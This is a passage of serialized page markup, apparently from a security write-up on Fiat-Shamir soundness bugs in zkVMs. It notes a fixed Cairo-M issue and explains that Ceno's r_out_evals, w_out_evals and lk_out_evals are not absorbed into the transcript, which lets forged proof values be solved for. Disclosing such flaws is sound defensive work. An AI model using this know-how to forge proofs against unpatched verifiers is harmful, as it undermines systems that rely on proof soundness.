ops":53239,"children":53241},{"className":53240},[428,2190],[53242],{"type":32,"value":53243},")⟩",{"type":26,"tag":217,"props":53245,"children":53247},{"className":53246},[341,2190],[53248],{"type":32,"value":3540},{"type":26,"tag":217,"props":53250,"children":53252},{"className":53251,"style":50061},[247,2152,2190],[53253],{"type":32,"value":50064},{"type":26,"tag":217,"props":53255,"children":53256},{"style":361},[53257,53261],{"type":26,"tag":217,"props":53258,"children":53260},{"className":53259,"style":321},[320],[],{"type":26,"tag":217,"props":53262,"children":53264},{"className":53263,"style":371},[370],[],{"type":26,"tag":217,"props":53266,"children":53267},{"style":48501},[53268,53272],{"type":26,"tag":217,"props":53269,"children":53271},{"className":53270,"style":321},[320],[],{"type":26,"tag":217,"props":53273,"children":53275},{"className":53274},[2187,2188,2189,2190],[53276],{"type":26,"tag":217,"props":53277,"children":53279},{"className":53278},[247,2190],[53280],{"type":26,"tag":217,"props":53281,"children":53283},{"className":53282},[247,2190],[53284],{"type":32,"value":185},{"type":26,"tag":217,"props":53286,"children":53288},{"className":53287},[409],[53289],{"type":32,"value":412},{"type":26,"tag":217,"props":53291,"children":53293},{"className":53292},[305],[53294],{"type":26,"tag":217,"props":53295,"children":53298},{"className":53296,"style":53297},[310],"height:0.562em;",[53299],{"type":26,"tag":217,"props":53300,"children":53301},{},[],{"type":26,"tag":217,"props":53303,"children":53305},{"className":53304},[428,289],[],{"type":26,"tag":217,"props":53307,"children":53309},{"className":53308},[247],[53310],{"type":32,"value":180},{"type":26,"tag":39,"props":53312,"children":53313},{},[53314,53316],{"type":32,"value":53315},"The global check is then that ",{"type":26,"tag":83,"props":53317,"children":53319},{"className":53318},[213,4703],[53320],{"type":26,"tag":217,"props":53321,"children":53323},{"className":53322},[225],[53324],{"type":26,"tag":217,"props":53325,"children":53327},{"className":53326,"ariaHidden":231},[230],[53328,53369,53400],{"type":26,"tag":217,"props":53329,"children":53331},{"className":53330},[236],[53332,53336,53341,53346,53351,53356,53360,53365],{"type":26,"tag":217,"props":53333,"children":53335},{"className":53334,"style":5514},[241],[],{"type":26,"tag":217,"props":53337,"children":53339},{"className":53338},[247,2152],[53340],{"type":32,"value":19726},{"type":26,"tag":217,"props":53342,"children":53344},{"className":53343},[288],[53345],{"type":32,"value":1851},{"type":26,"tag":217,"props":53347,"children":53349},{"className":53348},[247,2152],[53350],{"type":32,"value":39},{"type":26,"tag":217,"props":53352,"children":53354},{"className":53353},[428],[53355],{"type":32,"value":1889},{"type":26,"tag":217,"props":53357,"children":53359},{"className":53358,"style":336},[258],[],{"type":26,"tag":217,"props":53361,"children":53363},{"className":53362},[341],[53364],{"type":32,"value":3540},{"type":26,"tag":217,"props":53366,"children":53368},{"className":53367,"style":336},[258],[],{"type":26,"tag":217,"props":53370,"children":53372},{"className":53371},[236],[53373,53377,53387,53391,53396],{"type":26,"tag":217,"props":53374,"children":53376},{"className":53375,"style":5514},[241],[],{"type":26,"tag":217,"props":53378,"children":53380},{"className":53379},[247,32],[53381],{"type":26,"tag":217,"props":53382,"children":53384},{"className":53383},[247],[53385],{"type":32,"value":53386},"(other terms)",{"type":26,"tag":217,"props":53388,"children":53390},{"className":53389,"style":259},[258],[],{"type":26,"tag":217,"props":53392,"children":53394},{"className":53393},[264],[53395],{"type":32,"value":267},{"type":26,"tag":217,"props":53397,"children":53399},{"className":53398,"style":259},[258],[],{"type":26,"tag":217,"props":53401,"children":53403},{"className":53402},[236],[53404,53408],{"type":26,"tag":217,"props":53405,"children":53407},{"className":53406,"style":5294},[241],[],{"type":26,"tag":217,"props":53409,"children":53411},{"className":53410},[247],[53412],{"type":32,"value":1883},{"type":26,"tag":39,"props":53414,"children":53415},{},[53416],{"type":32,"value":53417},"With challenges fixed, this is a rational equation in public data. This is not linear, but still algebraically solvable.",{"type":26,"tag":39,"props":53419,"children":53420},{},[53421],{"type":32,"value":53422},"Public-data coordinates participate in verification relations through extension-field arithmetic (including extension-valued public-memory entries), so the forged-parameter search is a coupled extension-field system.",{"type":26,"tag":39,"props":53424,"children":53425},{},[53426,53430,53432],{"type":26,"tag":9348,"props":53427,"children":53428},{},[53429],{"type":32,"value":51625},{"type":32,"value":53431}," Fixed on October 31, 2025 via ",{"type":26,"tag":163,"props":53433,"children":53436},{"href":53434,"rel":53435},"https://github.com/kkrt-labs/cairo-m/pull/352/commits/92b6740937e904e0002e7ee099fec357127c1d16",[167],[53437],{"type":32,"value":53438},"commit 92b6740",{"type":26,"tag":11933,"props":53440,"children":53441},{},[],{"type":26,"tag":607,"props":53443,"children":53445},{"id":53444},"ceno-scroll",[53446],{"type":32,"value":53447},"Ceno (Scroll)",{"type":26,"tag":39,"props":53449,"children":53450},{},[53451],{"type":32,"value":53452},"Ceno is a zkVM by Scroll, using GKR with a tower sumcheck structure.",{"type":26,"tag":39,"props":53454,"children":53455},{},[53456,53458,53463],{"type":32,"value":53457},"Ceno splits verification into ",{"type":26,"tag":9348,"props":53459,"children":53460},{},[53461],{"type":32,"value":53462},"chips",{"type":32,"value":53464},", with one per opcode or lookup table. Each chip proves its constraints independently.",{"type":26,"tag":39,"props":53466,"children":53467},{},[53468,53470,53475],{"type":32,"value":53469},"Many per-record values (reads, writes, lookups) are batched into a binary tree structure. Each layer folds pairs of values with random challenges; this is the ",{"type":26,"tag":9348,"props":53471,"children":53472},{},[53473],{"type":32,"value":53474},"tower sumcheck",{"type":32,"value":180},{"type":26,"tag":39,"props":53477,"children":53478},{},[53479],{"type":32,"value":53480},"All read records must match all write records (plus initial/final state). This is checked via a multiset equality, this time using a product instead of logup:",{"type":26,"tag":39,"props":53482,"children":53483},{},[53484],{"type":26,"tag":83,"props":53485,"children":53487},{"className":53486},[213,4703],[53488],{"type":26,"tag":217,"props":53489,"children":53491},{"className":53490},[225],[53492],{"type":26,"tag":217,"props":53493,"children":53495},{"className":53494,"ariaHidden":231},[230],[53496,53669,53842],{"type":26,"tag":217,"props":53497,"children":53499},{"className":53498},[236],[53500,53504,53562,53566,53575,53580,53589,53594,53656,53660,53665],{"type":26,"tag":217,"props":53501,"children":53503},{"className":53502,"style":49604},[241],[],{"type":26,"tag":217,"props":53505,"children":53507},{"className":53506},[1842],[53508,53514],{"type":26,"tag":217,"props":53509,"children":53511},{"className":53510,"style":22482},[1842,4049,22481],[53512],{"type":32,"value":53513},"∏",{"type":26,"tag":217,"props":53515,"children":53517},{"className":53516},[2160],[53518],{"type":26,"tag":217,"props":53519,"children":53521},{"className":53520},[299,300],[53522,53551],{"type":26,"tag":217,"props":53523,"children":53525},{"className":53524},[305],[53526,53546],{"type":26,"tag":217,"props":53527,"children":53529},{"className":53528,"style":49122},[310],[53530],{"type":26,"tag":217,"props":53531,"children":53532},{"style":43746},[53533,53537],{"type":26,"tag":217,"props":53534,"children":53536},{"className":53535,"style":2182},[320],[],{"type":26,"tag":217,"props":53538,"children":53540},{"className":53539},[2187,2188,2189,2190],[53541],{"type":26,"tag":217,"props":53542,"children":53544},{"className":53543},[247,2152,2190],[53545],{"type":32,"value":2290},{"type":26,"tag":217,"props":53547,"children":53549},{"className":53548},[409],[53550],{"type":32,"value":412},{"type":26,"tag":217,"props":53552,"children":53554},{"className":53553},[305],[53555],{"type":26,"tag":217,"props":53556,"children":53558},{"className":53557,"style":49406},[310],[53559],{"type":26,"tag":217,"props":53560,"children":53561},{},[],{"type":26,"tag":217,"props":53563,"children":53565},{"className":53564,"style":1872},[258],[],{"type":26,"tag":217,"props":53567,"children":53569},{"className":53568},[247,32],[53570],{"type":26,"tag":217,"props":53571,"children":53573},{"className":53572},[247],[53574],{"type":32,"value":19414},{"type":26,"tag":217,"props":53576,"children":53578},{"className":53577,"style":2753},[247],[53579],{"type":32,"value":49012},{"type":26,"tag":217,"props":53581,"children":53583},{"className":53582},[247,32],[53584],{"type":26,"tag":217,"props":53585,"children":53587},{"className":53586},[247],[53588],{"type":32,"value":10235},{"type":26,"tag":217,"props":53590,"children":53592},{"className":53591,"style":2753},[247],[53593],{"type":32,"value":49012},{"type":26,"tag":217,"props":53595,"children":53597},{"className":53596},[247],[53598,53608],{"type":26,"tag":217,"props":53599,"children":53601},{"className":53600},[247,32],[53602],{"type":26,"tag":217,"props":53603,"children":53605},{"className":53604},[247],[53606],{"type":32,"value":53607},"evals",{"type":26,"tag":217,"props":53609,"children":53611},{"className":53610},[2160],[53612],{"type":26,"tag":217,"props":53613,"children":53615},{"className":53614},[299,300],[53616,53645],{"type":26,"tag":217,"props":53617,"children":53619},{"className":53618},[305],[53620,53640],{"type":26,"tag":217,"props":53621,"children":53623},{"className":53622,"style":2271},[310],[53624],{"type":26,"tag":217,"props":53625,"children":53626},{"style":49045},[53627,53631],{"type":26,"tag":217,"props":53628,"children":53630},{"className":53629,"style":2182},[320],[],{"type":26,"tag":217,"props":53632,"children":53634},{"className":53633},[2187,2188,2189,2190],[53635],{"type":26,"tag":217,"props":53636,"children":53638},{"className":53637},[247,2152,2190],[53639],{"type":32,"value":2290},{"type":26,"tag":217,"props":53641,"children":53643},{"className":53642},[409],[53644],{"type":32,"value":412},{"type":26,"tag":217,"props":53646,"children":53648},{"className":53647},[305],[53649],{"type":26,"tag":217,"props":53650,"children":53652},{"className":53651,"style":2210},[310],[53653],{"type":26,"tag":217,"props":53654,"children":53655},{},[],{"type":26,"tag":217,"props":53657,"children":53659},{"className":53658,"style":259},[258],[],{"type":26,"tag":217,"props":53661,"children":53663},{"className":53662},[264],[53664],{"type":32,"value":267},{"type":26,"tag":217,"props":53666,"children":53668},{"className":53667,"style":259},[258],[],{"type":26,"tag":217,"props":53670,"children":53672},{"className":53671},[236],[53673,53678,53735,53739,53748,53753,53762,53767,53829,53833,53838],{"type":26,"tag":217,"props":53674,"children":53677},{"className":53675,"style":53676},[241],"height:1.1858em;vertical-align:-0.4358em;",[],{"type":26,"tag":217,"props":53679,"children":53681},{"className":53680},[1842],[53682,53687],{"type":26,"tag":217,"props":53683,"children":53685},{"className":53684,"style":22482},[1842,4049,22481],[53686],{"type":32,"value":53513},{"type":26,"tag":217,"props":53688,"children":53690},{"className":53689},[2160],[53691],{"type":26,"tag":217,"props":53692,"children":53694},{"className":53693},[299,300],[53695,53724],{"type":26,"tag":217,"props":53696,"children":53698},{"className":53697},[305],[53699,53719],{"type":26,"tag":217,"props":53700,"children":53702},{"className":53701,"style":49122},[310],[53703],{"type":26,"tag":217,"props":53704,"children":53705},{"style":43746},[53706,53710],{"type":26,"tag":217,"props":53707,"children":53709},{"className":53708,"style":2182},[320],[],{"type":26,"tag":217,"props":53711,"children":53713},{"className":53712},[2187,2188,2189,2190],[53714],{"type":26,"tag":217,"props":53715,"children":53717},{"className":53716,"style":49138},[247,2152,2190],[53718],{"type":32,"value":49141},{"type":26,"tag":217,"props":53720,"children":53722},{"className":53721},[409],[53723],{"type":32,"value":412},{"type":26,"tag":217,"props":53725,"children":53727},{"className":53726},[305],[53728],{"type":26,"tag":217,"props":53729,"children":53731},{"className":53730,"style":49154},[310],[53732],{"type":26,"tag":217,"props":53733,"children":53734},{},[],{"type":26,"tag":217,"props":53736,"children":53738},{"className":53737,"style":1872},[258],[],{"type":26,"tag":217,"props":53740,"children":53742},{"className":53741},[247,32],[53743],{"type":26,"tag":217,"props":53744,"children":53746},{"className":53745},[247],[53747],{"type":32,"value":2471},{"type":26,"tag":217,"props":53749,"children":53751},{"className":53750,"style":2753},[247],[53752],{"type":32,"value":49012},{"type":26,"tag":217,"props":53754,"children":53756},{"className":53755},[247,32],[53757],{"type":26,"tag":217,"props":53758,"children":53760},{"className":53759},[247],[53761],{"type":32,"value":10235},{"type":26,"tag":217,"props":53763,"children":53765},{"className":53764,"style":2753},[247],[53766],{"type":32,"value":49012},{"type":26,"tag":217,"props":53768,"children":53770},{"className":53769},[247],[53771,53780],{"type":26,"tag":217,"props":53772,"children":53774},{"className":53773},[247,32],[53775],{"type":26,"tag":217,"props":53776,"children":53778},{"className":53777},[247],[53779],{"type":32,"value":53607},{"type":26,"tag":217,"props":53781,"children":53783},{"className":53782},[2160],[53784],{"type":26,"tag":217,"props":53785,"children":53787},{"className":53786},[299,300],[53788,53817],{"type":26,"tag":217,"props":53789,"children":53791},{"className":53790},[305],[53792,53812],{"type":26,"tag":217,"props":53793,"children":53795},{"className":53794,"style":2271},[310],[53796],{"type":26,"tag":217,"props":53797,"children":53798},{"style":49045},[53799,53803],{"type":26,"tag":217,"props":53800,"children":53802},{"className":53801,"style":2182},[320],[],{"type":26,"tag":217,"props":53804,"children":53806},{"className":53805},[2187,2188,2189,2190],[53807],{"type":26,"tag":217,"props":53808,"children":53810},{"className":53809,"style":49138},[247,2152,2190],[53811],{"type":32,"value":49141},{"type":26,"tag":217,"props":53813,"children":53815},{"className":53814},[409],[53816],{"type":32,"value":412},{"type":26,"tag":217,"props":53818,"children":53820},{"className":53819},[305],[53821],{"type":26,"tag":217,"props":53822,"children":53825},{"className":53823,"style":53824},[310],"height:0.2861em;",[53826],{"type":26,"tag":217,"props":53827,"children":53828},{},[],{"type":26,"tag":217,"props":53830,"children":53832},{"className":53831,"style":336},[258],[],{"type":26,"tag":217,"props":53834,"children":53836},{"className":53835},[341],[53837],{"type":32,"value":344},{"type":26,"tag":217,"props":53839,"children":53841},{"className":53840,"style":336},[258],[],{"type":26,"tag":217,"props":53843,"children":53845},{"className":53844},[236],[53846,53850,53855,53865],{"type":26,"tag":217,"props":53847,"children":53849},{"className":53848,"style":5514},[241],[],{"type":26,"tag":217,"props":53851,"children":53853},{"className":53852},[288],[53854],{"type":32,"value":1851},{"type":26,"tag":217,"props":53856,"children":53858},{"className":53857},[247,32],[53859],{"type":26,"tag":217,"props":53860,"children":53862},{"className":53861},[247],[53863],{"type":32,"value":53864},"state factors",{"type":26,"tag":217,"props":53866,"children":53868},{"className":53867},[428],[53869],{"type":32,"value":1889},{"type":26,"tag":39,"props":53871,"children":53872},{},[53873],{"type":26,"tag":9348,"props":53874,"children":53875},{},[53876],{"type":32,"value":50332},{"type":26,"tag":207,"props":53878,"children":53880},{"code":53879},"ZKVMChipProof {\n    r_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    w_out_evals: [[FieldElement]],   // \u003C- VULNERABLE\n    lk_out_evals: [[FieldElement]],  // \u003C- VULNERABLE\n    tower_proof: [...],\n    gkr_iop_proof: [...],\n}\n",[53881],{"type":26,"tag":83,"props":53882,"children":53883},{"__ignoreMap":8},[53884],{"type":32,"value":53879},{"type":26,"tag":39,"props":53886,"children":53887},{},[53888,53894,53895,53901,53902,53908],{"type":26,"tag":83,"props":53889,"children":53891},{"className":53890},[],[53892],{"type":32,"value":53893},"r_out_evals",{"type":32,"value":7599},{"type":26,"tag":83,"props":53896,"children":53898},{"className":53897},[],[53899],{"type":32,"value":53900},"w_out_evals",{"type":32,"value":17577},{"type":26,"tag":83,"props":53903,"children":53905},{"className":53904},[],[53906],{"type":32,"value":53907},"lk_out_evals",{"type":32,"value":53909}," are used to initialize the tower sumcheck claim, but they're never absorbed into the transcript. This leaves us with two equations:",{"type":26,"tag":6712,"props":53911,"children":53912},{},[53913],{"type":26,"tag":2044,"props":53914,"children":53915},{},[53916,53921,53923,53929],{"type":26,"tag":9348,"props":53917,"children":53918},{},[53919],{"type":32,"value":53920},"GKR/Tower equation",{"type":32,"value":53922}," (linear in ",{"type":26,"tag":83,"props":53924,"children":53926},{"className":53925},[],[53927],{"type":32,"value":53928},"out_evals",{"type":32,"value":16833},{"type":26,"tag":39,"props":53931,"children":53932},{},[53933,53935],{"type":32,"value":53934},"The tower sumcheck claim is ",{"type":26,"tag":83,"props":53936,"children":53938},{"className":53937},[213,4703],[53939],{"type":26,"tag":217,"props":53940,"children":53942},{"className":53941},[225],[53943],{"type":26,"tag":217,"props":53944,"children":53946},{"className":53945,"ariaHidden":231},[230],[53947,53978,54103],{"type":26,"tag":217,"props":53948,"children":53950},{"className":53949},[236],[53951,53955,53965,53969,53974],{"type":26,"tag":217,"props":53952,"children":53954},{"className":53953,"style":43002},[241],[],{"type":26,"tag":217,"props":53956,"children":53958},{"className":53957},[247,32],[53959],{"type":26,"tag":217,"props":53960,"children":53962},{"className":53961},[247],[53963],{"type":32,"value":53964},"claim",{"type":26,"tag":217,"props":53966,"children":53968},{"className":53967,"style":259},[258],[],{"type":26,"tag":217,"props":53970,"children":53972},{"className":53971},[264],[53973],{"type":32,"value":267},{"type":26,"tag":217,"props":53975,"children":53977},{"className":53976,"style":259},[258],[],{"type":26,"tag":217,"props":53979,"children":53981},{"className":53980},[236],[53982,53987,54044,54048,54090,54094,54099],{"type":26,"tag":217,"props":53983,"children":53986},{"className":53984,"style":53985},[241],"height:1.2605em;vertical-align:-0.4358em;",[],{"type":26,"tag":217,"props":53988,"children":53990},{"className":53989},[1842],[53991,53996],{"type":26,"tag":217,"props":53992,"children":53994},{"className":53993,"style":22482},[1842,4049,22481],[53995],{"type":32,"value":4053},{"type":26,"tag":217,"props":53997,"children":53999},{"className":53998},[2160],[54000],{"type":26,"tag":217,"props":54001,"children":54003},{"className":54002},[299,300],[54004,54033],{"type":26,"tag":217,"props":54005,"children":54007},{"className":54006},[305],[54008,54028],{"type":26,"tag":217,"props":54009,"children":54011},{"className":54010,"style":49122},[310],[54012],{"type":26,"tag":217,"props":54013,"children":54014},{"style":43746},[54015,54019],{"type":26,"tag":217,"props":54016,"children":54018},{"className":54017,"style":2182},[320],[],{"type":26,"tag":217,"props":54020,"children":54022},{"className":54021},[2187,2188,2189,2190],[54023],{"type":26,"tag":217,"props":54024,"children":54026},{"className":54025,"style":49138},[247,2152,2190],[54027],{"type":32,"value":49141},{"type":26,"tag":217,"props":54029,"children":54031},{"className":54030},[409],[54032],{"type":32,"value":412},{"type":26,"tag":217,"props":54034,"children":54036},{"className":54035},[305],[54037],{"type":26,"tag":217,"props":54038,"children":54040},{"className":54039,"style":49154},[310],[54041],{"type":26,"tag":217,"props":54042,"children":54043},{},[],{"type":26,"tag":217,"props":54045,"children":54047},{"className":54046,"style":1872},[258],[],{"type":26,"tag":217,"props":54049,"children":54051},{"className":54050},[247],[54052,54057],{"type":26,"tag":217,"props":54053,"children":54055},{"className":54054,"style":50006},[247,2152],[54056],{"type":32,"value":50009},{"type":26,"tag":217,"props":54058,"children":54060},{"className":54059},[2160],[54061],{"type":26,"tag":217,"props":54062,"children":54064},{"className":54063},[299],[54065],{"type":26,"tag":217,"props":54066,"children":54068},{"className":54067},[305],[54069],{"type":26,"tag":217,"props":54070,"children":54073},{"className":54071,"style":54072},[310],"height:0.8247em;",[54074],{"type":26,"tag":217,"props":54075,"children":54076},{"style":6105},[54077,54081],{"type":26,"tag":217,"props":54078,"children":54080},{"className":54079,"style":2182},[320],[],{"type":26,"tag":217,"props":54082,"children":54084},{"className":54083},[2187,2188,2189,2190],[54085],{"type":26,"tag":217,"props":54086,"children":54088},{"className":54087,"style":49138},[247,2152,2190],[54089],{"type":32,"value":49141},{"type":26,"tag":217,"props":54091,"children":54093},{"className":54092,"style":336},[258],[],{"type":26,"tag":217,"props":54095,"children":54097},{"className":54096},[341],[54098],{"type":32,"value":344},{"type":26,"tag":217,"props":54100,"children":54102},{"className":54101,"style":336},[258],[],{"type":26,"tag":217,"props":54104,"children":54106},{"className":54105},[236],[54107,54111,54120,54125],{"type":26,"tag":217,"props":54108,"children":54110},{"className":54109,"style":242},[241],[],{"type":26,"tag":217,"props":54112,"children":54114},{"className":54113},[247,32],[54115],{"type":26,"tag":217,"props":54116,"children":54118},{"className":54117},[247],[54119],{"type":32,"value":10235},{"type":26,"tag":217,"props":54121,"children":54123},{"className":54122,"style":2753},[247],[54124],{"type":32,"value":49012},{"type":26,"tag":217,"props":54126,"children":54128},{"className":54127},[247],[54129,54138],{"type":26,"tag":217,"props":54130,"children":54132},{"className":54131},[247,32],[54133],{"type":26,"tag":217,"props":54134,"children":54136},{"className":54135},[247],[54137],{"type":32,"value":53607},{"type":26,"tag":217,"props":54139,"children":54141},{"className":54140},[2160],[54142],{"type":26,"tag":217,"props":54143,"children":54145},{"className":54144},[299,300],[54146,54175],{"type":26,"tag":217,"props":54147,"children":54149},{"className":54148},[305],[54150,54170],{"type":26,"tag":217,"props":54151,"children":54153},{"className":54152,"style":2271},[310],[54154],{"type":26,"tag":217,"props":54155,"children":54156},{"style":49045},[54157,54161],{"type":26,"tag":217,"props":54158,"children":54160},{"className":54159,"style":2182},[320],[],{"type":26,"tag":217,"props":54162,"children":54164},{"className":54163},[2187,2188,2189,2190],[54165],{"type":26,"tag":217,"props":54166,"children":54168},{"className":54167,"style":49138},[247,2152,2190],[54169],{"type":32,"value":49141},{"type":26,"tag":217,"props":54171,"children":54173},{"className":54172},[409],[54174],{"type":32,"value":412},{"type":26,"tag":217,"props":54176,"children":54178},{"className":54177},[305],[54179],{"type":26,"tag":217,"props":54180,"children":54182},{"className":54181,"style":53824},[310],[54183],{"type":26,"tag":217,"props":54184,"children":54185},{},[],{"type":26,"tag":39,"props":54187,"children":54188},{},[54189,54191,54196],{"type":32,"value":54190},"This check is linear in ",{"type":26,"tag":83,"props":54192,"children":54194},{"className":54193},[],[54195],{"type":32,"value":53928},{"type":32,"value":180},{"type":26,"tag":6712,"props":54198,"children":54199},{"start":6770},[54200],{"type":26,"tag":2044,"props":54201,"children":54202},{},[54203,54208,54210,54215],{"type":26,"tag":9348,"props":54204,"children":54205},{},[54206],{"type":32,"value":54207},"rw-product consistency",{"type":32,"value":54209}," (bilinear in ",{"type":26,"tag":83,"props":54211,"children":54213},{"className":54212},[],[54214],{"type":32,"value":53928},{"type":32,"value":16833},{"type":26,"tag":39,"props":54217,"children":54218},{},[54219],{"type":26,"tag":83,"props":54220,"children":54222},{"className":54221},[213,4703],[54223],{"type":26,"tag":217,"props":54224,"children":54226},{"className":54225},[225],[54227],{"type":26,"tag":217,"props":54228,"children":54230},{"className":54229,"ariaHidden":231},[230],[54231,54402,54573],{"type":26,"tag":217,"props":54232,"children":54234},{"className":54233},[236],[54235,54239,54296,54300,54309,54314,54323,54328,54389,54393,54398],{"type":26,"tag":217,"props":54236,"children":54238},{"className":54237,"style":49604},[241],[],{"type":26,"tag":217,"props":54240,"children":54242},{"className":54241},[1842],[54243,54248],{"type":26,"tag":217,"props":54244,"children":54246},{"className":54245,"style":22482},[1842,4049,22481],[54247],{"type":32,"value":53513},{"type":26,"tag":217,"props":54249,"children":54251},{"className":54250},[2160],[54252],{"type":26,"tag":217,"props":54253,"children":54255},{"className":54254},[299,300],[54256,54285],{"type":26,"tag":217,"props":54257,"children":54259},{"className":54258},[305],[54260,54280],{"type":26,"tag":217,"props":54261,"children":54263},{"className":54262,"style":49122},[310],[54264],{"type":26,"tag":217,"props":54265,"children":54266},{"style":43746},[54267,54271],{"type":26,"tag":217,"props":54268,"children":54270},{"className":54269,"style":2182},[320],[],{"type":26,"tag":217,"props":54272,"children":54274},{"className":54273},[2187,2188,2189,2190],[54275],{"type":26,"tag":217,"props":54276,"children":54278},{"className":54277},[247,2152,2190],[54279],{"type":32,"value":2290},{"type":26,"tag":217,"props":54281,"children":54283},{"className":54282},[409],[54284],{"type":32,"value":412},{"type":26,"tag":217,"props":54286,"children":54288},{"className":54287},[305],[54289],{"type":26,"tag":217,"props":54290,"children":54292},{"className":54291,"style":49406},[310],[54293],{"type":26,"tag":217,"props":54294,"children":54295},{},[],{"type":26,"tag":217,"props":54297,"children":54299},{"className":54298,"style":1872},[258],[],{"type":26,"tag":217,"props":54301,"children":54303},{"className":54302},[247,32],[54304],{"type":26,"tag":217,"props":54305,"children":54307},{"className":54306},[247],[54308],{"type":32,"value":19414},{"type":26,"tag":217,"props":54310,"children":54312},{"className":54311,"style":2753},[247],[54313],{"type":32,"value":49012},{"type":26,"tag":217,"props":54315,"children":54317},{"className":54316},[247,32],[54318],{"type":26,"tag":217,"props":54319,"children":54321},{"className":54320},[247],[54322],{"type":32,"value":10235},{"type":26,"tag":217,"props":54324,"children":54326},{"className":54325,"style":2753},[247],[54327],{"type":32,"value":49012},{"type":26,"tag":217,"props":54329,"children":54331},{"className":54330},[247],[54332,54341],{"type":26,"tag":217,"props":54333,"children":54335},{"className":54334},[247,32],[54336],{"type":26,"tag":217,"props":54337,"children":54339},{"className":54338},[247],[54340],{"type":32,"value":53607},{"type":26,"tag":217,"props":54342,"children":54344},{"className":54343},[2160],[54345],{"type":26,"tag":217,"props":54346,"children":54348},{"className":54347},[299,300],[54349,54378],{"type":26,"tag":217,"props":54350,"children":54352},{"className":54351},[305],[54353,54373],{"type":26,"tag":217,"props":54354,"children":54356},{"className":54355,"style":2271},[310],[54357],{"type":26,"tag":217,"props":54358,"children":54359},{"style":49045},[54360,54364],{"type":26,"tag":217,"props":54361,"children":54363},{"className":54362,"style":2182},[320],[],{"type":26,"tag":217,"props":54365,"children":54367},{"className":54366},[2187,2188,2189,2190],[54368],{"type":26,"tag":217,"props":54369,"children":54371},{"className":54370},[247,2152,2190],[54372],{"type":32,"value":2290},{"type":26,"tag":217,"props":54374,"children":54376},{"className":54375},[409],[54377],{"type":32,"value":412},{"type":26,"tag":217,"props":54379,"children":54381},{"className":54380},[305],[54382],{"type":26,"tag":217,"props":54383,"children":54385},{"className":54384,"style":2210},[310],[54386],{"type":26,"tag":217,"props":54387,"children":54388},{},[],{"type":26,"tag":217,"props":54390,"children":54392},{"className":54391,"style":259},[258],[],{"type":26,"tag":217,"props":54394,"children":54396},{"className":54395},[264],[54397],{"type":32,"value":267},{"type":26,"tag":217,"props":54399,"children":54401},{"className":54400,"style":259},[258],[],{"type":26,"tag":217,"props":54403,"children":54405},{"className":54404},[236],[54406,54410,54467,54471,54480,54485,54494,54499,54560,54564,54569],{"type":26,"tag":217,"props":54407,"children":54409},{"className":54408,"style":53676},[241],[],{"type":26,"tag":217,"props":54411,"children":54413},{"className":54412},[1842],[54414,54419],{"type":26,"tag":217,"props":54415,"children":54417},{"className":54416,"style":22482},[1842,4049,22481],[54418],{"type":32,"value":53513},{"type":26,"tag":217,"props":54420,"children":54422},{"className":54421},[2160],[54423],{"type":26,"tag":217,"props":54424,"children":54426},{"className":54425},[299,300],[54427,54456],{"type":26,"tag":217,"props":54428,"children":54430},{"className":54429},[305],[54431,54451],{"type":26,"tag":217,"props":54432,"children":54434},{"className":54433,"style":49122},[310],[54435],{"type":26,"tag":217,"props":54436,"children":54437},{"style":43746},[54438,54442],{"type":26,"tag":217,"props":54439,"children":54441},{"className":54440,"style":2182},[320],[],{"type":26,"tag":217,"props":54443,"children":54445},{"className":54444},[2187,2188,2189,2190],[54446],{"type":26,"tag":217,"props":54447,"children":54449},{"className":54448,"style":49138},[247,2152,2190],[54450],{"type":32,"value":49141},{"type":26,"tag":217,"props":54452,"children":54454},{"className":54453},[409],[54455],{"type":32,"value":412},{"type":26,"tag":217,"props":54457,"children":54459},{"className":54458},[305],[54460],{"type":26,"tag":217,"props":54461,"children":54463},{"className":54462,"style":49154},[310],[54464],{"type":26,"tag":217,"props":54465,"children":54466},{},[],{"type":26,"tag":217,"props":54468,"children":54470},{"className":54469,"style":1872},[258],[],{"type":26,"tag":217,"props":54472,"children":54474},{"className":54473},[247,32],[54475],{"type":26,"tag":217,"props":54476,"children":54478},{"className":54477},[247],[54479],{"type":32,"value":2471},{"type":26,"tag":217,"props":54481,"children":54483},{"className":54482,"style":2753},[247],[54484],{"type":32,"value":49012},{"type":26,"tag":217,"props":54486,"children":54488},{"className":54487},[247,32],[54489],{"type":26,"tag":217,"props":54490,"children":54492},{"className":54491},[247],[54493],{"type":32,"value":10235},{"type":26,"tag":217,"props":54495,"children":54497},{"className":54496,"style":2753},[247],[54498],{"type":32,"value":49012},{"type":26,"tag":217,"props":54500,"children":54502},{"className":54501},[247],[54503,54512],{"type":26,"tag":217,"props":54504,"children":54506},{"className":54505},[247,32],[54507],{"type":26,"tag":217,"props":54508,"children":54510},{"className":54509},[247],[54511],{"type":32,"value":53607},{"type":26,"tag":217,"props":54513,"children":54515},{"className":54514},[2160],[54516],{"type":26,"tag":217,"props":54517,"children":54519},{"className":54518},[299,300],[54520,54549],{"type":26,"tag":217,"props":54521,"children":54523},{"className":54522},[305],[54524,54544],{"type":26,"tag":217,"props":54525,"children":54527},{"className":54526,"style":2271},[310],[54528],{"type":26,"tag":217,"props":54529,"children":54530},{"style":49045},[54531,54535],{"type":26,"tag":217,"props":54532,"children":54534},{"className":54533,"style":2182},[320],[],{"type":26,"tag":217,"props":54536,"children":54538},{"className":54537},[2187,2188,2189,2190],[54539],{"type":26,"tag":217,"props":54540,"children":54542},{"className":54541,"style":49138},[247,2152,2190],[54543],{"type":32,"value":49141},{"type":26,"tag":217,"props":54545,"children":54547},{"className":54546},[409],[54548],{"type":32,"value":412},{"type":26,"tag":217,"props":54550,"children":54552},{"className":54551},[305],[54553],{"type":26,"tag":217,"props":54554,"children":54556},{"className":54555,"style":53824},[310],[54557],{"type":26,"tag":217,"props":54558,"children":54559},{},[],{"type":26,"tag":217,"props":54561,"children":54563},{"className":54562,"style":336},[258],[],{"type":26,"tag":217,"props":54565,"children":54567},{"className":54566},[341],[54568],{"type":32,"value":344},{"type":26,"tag":217,"props":54570,"children":54572},{"className":54571,"style":336},[258],[],{"type":26,"tag":217,"props":54574,"children":54576},{"className":54575},[236],[54577,54581,54586,54595],{"type":26,"tag":217,"props":54578,"children":54580},{"className":54579,"style":5514},[241],[],{"type":26,"tag":217,"props":54582,"children":54584},{"className":54583},[288],[54585],{"type":32,"value":1851},{"type":26,"tag":217,"props":54587,"children":54589},{"className":54588},[247,32],[54590],{"type":26,"tag":217,"props":54591,"children":54593},{"className":54592},[247],[54594],{"type":32,"value":53864},{"type":26,"tag":217,"props":54596,"children":54598},{"className":54597},[428],[54599],{"type":32,"value":1889},{"type":26,"tag":39